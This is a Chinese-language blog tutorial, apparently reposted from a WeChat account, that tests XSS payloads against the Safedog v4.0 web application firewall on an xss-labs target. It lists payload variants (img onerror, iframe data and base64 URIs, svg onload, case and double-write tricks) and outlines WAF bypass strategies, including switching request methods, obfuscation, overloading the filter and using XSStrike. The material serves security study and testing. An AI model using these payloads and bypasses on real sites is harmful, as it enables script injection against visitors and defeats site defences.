10 种 XSS 绕过姿势,以及思路分析

admin 2024年8月2日16:47:12评论58 views字数 4112阅读13分42秒阅读模式

xss 基础:Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)(一) 、Web安全中的XSS攻击详细教学(二)--已完结

如果懒得找靶场和安全狗防火墙后台回复【靶场】即可获取

10 种 XSS 绕过姿势,以及思路分析
image-20240722161008610

复现

网站安全狗最新 v4.0 已经准备好

10 种 XSS 绕过姿势,以及思路分析
image-20240722104320515

这里用 xsslab 进行 waf 绕过测试

10 种 XSS 绕过姿势,以及思路分析
image-20240722102257861

还是一样安全狗 waf 测试

http://192.168.209.149/level1.php?name=<script>alert("hellow world")</script>
10 种 XSS 绕过姿势,以及思路分析
image-20240722102220534

基础 payload

php

<?php
echo "<script>alert(1)</script>";
?>

img

<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL" style='Xss:expression(alert(xss));'>
<img src="x" onerror=alert(1)>
<img src="x" οnerrοr=eval("alert('xss')")>
<img src=x οnmοuseοver=alert('xss')>

css

<img STYLE="background-image:url(javascript:alert('XSS'))">

form

XSS利用方式1
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
XSS利用方式2
<form method=post action=aa.asp? οnmοuseοver=prompt('xss')>
<form method=post action=aa.asp? οnmοuseοver=alert('xss')>
<form action=1 οnmοuseοver=alert('xss')>

input

<input name="name" value="">
<input value="" οnclick=alert('xss') type="text">
<input name="name" value="" οnmοuseοver=prompt('xss') bad="">
<input name="name" value=""><script>alert('xss')</script>

iframe

<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
<!--原code-->
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<!--base64编码-->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>

经过测试以上内容皆执行不了,但是还有一个 svg 没测试

10 种 XSS 绕过姿势,以及思路分析

svg!成功了一个,看来 v4.0 的安全狗没有对 svg 进行防护,payload 如下

<svg onload=alert(1)>
10 种 XSS 绕过姿势,以及思路分析
image-20240722103703228

常见的 waf 绕过 payload

1.大小写绕过

<sCript>alert(1)</Script>
10 种 XSS 绕过姿势,以及思路分析
image-20240722130044000

2、双写绕过

10 种 XSS 绕过姿势,以及思路分析
image-20240722130917202

3、img

10 种 XSS 绕过姿势,以及思路分析
image-20240722130953046

4、onmouseover 事件

  • <a onmousemove="do something here"> 当用户鼠标移动时即可运行代码
10 种 XSS 绕过姿势,以及思路分析
image-20240722131108228
  • <div onmouseover="do something here"> 当用户鼠标在这个块上面时即可运行(可以配合 weight 等参数将 div 覆盖页面,鼠标不划过都不行)
10 种 XSS 绕过姿势,以及思路分析
image-20240722131353856

5、onclick 事件

button

10 种 XSS 绕过姿势,以及思路分析
image-20240722131709995

6、onload 事件

例如

<svg onload=alert(1)>

之前已经测试过了,svg 的 onoad 事件可以

7、编码脚本绕过关键字

10 种 XSS 绕过姿势,以及思路分析
image-20240722132223214

8、主动闭合标签实现注入代码

10 种 XSS 绕过姿势,以及思路分析
image-20240722134140300

9、绕过 HTML 注释符

10 种 XSS 绕过姿势,以及思路分析
image-20240722134616530

10、利用换行符绕过

10 种 XSS 绕过姿势,以及思路分析
image-20240722134745914

11、绕过右标签

10 种 XSS 绕过姿势,以及思路分析
image-20240722134807050

12、绕过</内容>

10 种 XSS 绕过姿势,以及思路分析
image-20240722134857902

字典爆破

10 种 XSS 绕过姿势,以及思路分析
image-20240722135712030

这个时候直接一个一个去访问即可

10 种 XSS 绕过姿势,以及思路分析
image-20240722141703806

这里我们找到一个 iframe 的 payload,尝试访问,成功加载,但是看源码,标签没有闭合

10 种 XSS 绕过姿势,以及思路分析
image-20240722141540870

我们在 url 中闭合这个标签,就可以了

10 种 XSS 绕过姿势,以及思路分析
image-20240722141917556

绕过思路

一、更改提交方式

在默认配置下,为了节省资源,许多 WAF 只会对 GET 请求进行过滤拦截,而忽略了对 POST 请求、Cookie、HTTP Header 等其他提交方式的检测。因此,攻击者可以尝试更改有害语句的提交方式,如将 GET 请求修改为 POST 请求,或者通过 Cookie、HTTP Header 等方式提交恶意脚本,以绕过 WAF 的拦截。

二、混淆伪装绕过

混淆伪装是一种常见的绕过 WAF 的手段,攻击者通过编码、大小写混淆、双写、转义字符等方式对恶意脚本进行伪装,使其绕过 WAF 的关键词过滤规则。例如,将 JavaScript 代码中的关键字进行大小写混淆(如<scriPT>),或者使用Unicode编码Base64编码等方式对代码进行编码。

三、标签和事件函数变换

XSS 攻击主要是通过触发 HTML 标签中的事件函数来执行恶意脚本。因此,WAF 会重点识别能够触发事件函数的 HTML 标签和事件函数字段。攻击者可以尝试使用其他可以执行 JavaScript 代码的 HTML 标签(如<svg>, <button>, <img>等)替换常用的<script>标签,或者使用其他事件函数(如onerror, oninput, onmousedown等)替换常用的onclick事件函数,以绕过 WAF 的拦截。

四、利用 WAF 的缺陷和配置不当

  1. 「增加 WAF 负担」:有些 WAF 在处理大量数据时可能会降低检测精度或放弃检测部分数据包。攻击者可以通过向 WAF 发送大量正常数据包并夹杂异常数据包的方式,增加 WAF 的负担,从而绕过 WAF 的检测。
  2. 「利用 WAF 配置不当」:WAF 的配置可能存在漏洞或不当之处,如只检测部分参数、忽略某些类型的请求等。攻击者可以通过分析 WAF 的配置规则,构造绕过 WAF 检测的请求。
  3. 「旁站绕过」:在某些情况下,网站管理员可能只对主站进行了 WAF 防护,而忽略了旁站或子域名的防护。攻击者可以尝试通过旁站或子域名绕过 WAF 的防护。

五、使用自动化工具

自动化工具如XSStrike等可以帮助攻击者自动测试 WAF 的防护效果,并生成绕过 WAF 的 payload。这些工具通常包含多种绕过 WAF 的技巧和策略,可以显著提高攻击的成功率。

XSStrike 开源地址:https://github.com/s0md3v/XSStrike

六、其他技巧

  1. 「利用伪协议」:某些 HTML 属性支持伪协议(如javascript:),攻击者可以利用这些属性执行恶意脚本。
  2. 「利用 CSS 跨站」:在某些情况下,攻击者可以利用 CSS 中的某些特性(如expression())执行 JavaScript 代码。
  3. 「利用全局变量和函数」:JavaScript 中的全局变量和函数(如eval(), window.onload等)可以在不直接引用脚本标签的情况下执行代码,攻击者可以尝试利用这些变量和函数绕过 WAF 的防护。

七、举例

这里我就拿标签事件函数变换来举例、首先判断标签名称,是否可用比如iframe,它可以正常访问,说明<iframe>标签没有进行过滤

http://192.168.209.149/level1.php?name=<iframe>
10 种 XSS 绕过姿势,以及思路分析
image-20240722143819570

标签没有进行过滤,尝试闭合这个标签,ok 正常访问

10 种 XSS 绕过姿势,以及思路分析
image-20240722144155301

判断属性 src,好没有过滤

10 种 XSS 绕过姿势,以及思路分析
image-20240722144230962

加了个=就被拦截了,这时候没法继续了,换个事件试试

10 种 XSS 绕过姿势,以及思路分析
image-20240722144259675
10 种 XSS 绕过姿势,以及思路分析
image-20240722144611518

这里拿 onload 尝试

10 种 XSS 绕过姿势,以及思路分析
image-20240722144645731

需要注意的是,以上绕过 WAF 的思路和技巧仅供学习和研究网络安全使用,不得用于非法攻击和破坏活动。在实际应用中,网站管理员和 WAF 开发者应不断更新和完善 WAF 的防护策略,提高网站的安全性。

 

原文始发于微信公众号(小羽网安):【WAF 剖析】10 种 XSS 绕过姿势,以及思路分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月2日16:47:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   10 种 XSS 绕过姿势,以及思路分析https://cn-sec.com/archives/2982427.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息